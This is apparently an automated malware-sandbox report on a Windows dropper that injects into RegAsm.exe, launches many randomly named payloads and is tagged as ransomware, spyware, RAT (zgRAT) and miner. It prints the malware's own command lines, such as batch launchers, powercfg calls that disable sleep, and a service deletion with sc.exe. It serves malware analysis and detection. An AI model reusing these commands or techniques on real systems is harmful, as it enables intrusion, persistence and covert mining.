Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056CE700	7_2_056CE700
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056CA640	7_2_056CA640
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056CA630	7_2_056CA630
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056C56CA	7_2_056C56CA
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056C81B0	7_2_056C81B0
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056CB9A3	7_2_056CB9A3
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056CB9B0	7_2_056CB9B0
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Code function: 8_2_00407577	8_2_00407577
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_0040840C	10_2_0040840C
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Code function: 11_2_01A80F30	11_2_01A80F30
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Code function: 11_2_01A80868	11_2_01A80868
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Code function: 11_2_01A80878	11_2_01A80878
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Code function: 11_2_01A80F30	11_2_01A80F30
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Code function: 14_1_0043A20B	14_1_0043A20B
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Code function: 14_1_0045234E	14_1_0045234E
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Code function: 14_1_00433F2B	14_1_00433F2B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Security

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0053FB40 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004172E0 appears 53 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2200 -ip 2200

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.1726745266.00000000044A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs file.exe
Source: file.exe, 00000000.00000002.1722434564.0000000003491000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.1726745266.0000000004A13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs file.exe
Source: file.exe, 00000000.00000002.1726745266.0000000004A13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePE.dll& vs file.exe
Source: file.exe, 00000000.00000000.1709111644.0000000001186000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamepicturefonts.exe0 vs file.exe
Source: file.exe, 00000000.00000002.1721636279.00000000016DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000002.1738107158.0000000005A30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePE.dll& vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: file.exe, type: SAMPLE	Matched rule: INDICATOR_EXE_Packed_DotNetReactor author = ditekSHen, description = Detects executables packed with unregistered version of .NET Reactor
Source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.0.Kra4UjTOv3M2ogVWTG9TXvYP.exe.f20000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_DotNetReactor author = ditekSHen, description = Detects executables packed with unregistered version of .NET Reactor
Source: 0000000C.00000002.2542689715.00000000033E6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000000C.00000002.2542689715.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: 0.2.file.exe.5a30000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.5a30000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.mine.winEXE@106/173@6/26

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

Code function: 6_2_00007FF7B2F6B6D8 GetLastError,FormatMessageW,LocalFree,

6_2_00007FF7B2F6B6D8

Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe

Code function: 10_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

10_2_00409448

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004335E0 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,VariantClear,CoUninitialize,

1_2_004335E0

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

Code function: 6_2_00007FF7B2F88624 FindResourceExW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

6_2_00007FF7B2F88624

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3068:120:WilError_03
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Mutant created: \Sessions\1\BaseNamedObjects\IntelPowerEExpert
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4084:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2200
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:736:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\KejwopdnfWW_12

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Visitor Visitor.bat & Visitor.bat & exit

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2668541079.000000001D958000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3009758965.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2952968510.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: D4wpDprTNebjzitxM8NmQjMu.exe	String found in binary or memory: need to be updated. /RESTARTAPPLICATIONS Instructs Setup to restart applications. /NORESTARTAPPLICATIONS Prevents Setup from restarting applications. /LOADINF="filename" Instructs Setup to load the settings from the specified file after having checked t
Source: Vwagc2Gf16eP8XIbenmQEOda.exe	String found in binary or memory: /addr_imp

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Visitor Visitor.bat & Visitor.bat & exit
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Measuring Measuring.bat & Measuring.bat
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2200 -ip 2200
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Process created: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp "C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp" /SL5="$20446,3185824,56832,C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe"
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 880
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe clamer.exe -pfrhasdtr
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "RRTELIGS"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process created: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe "C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe" -i
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process created: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe "C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe"
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
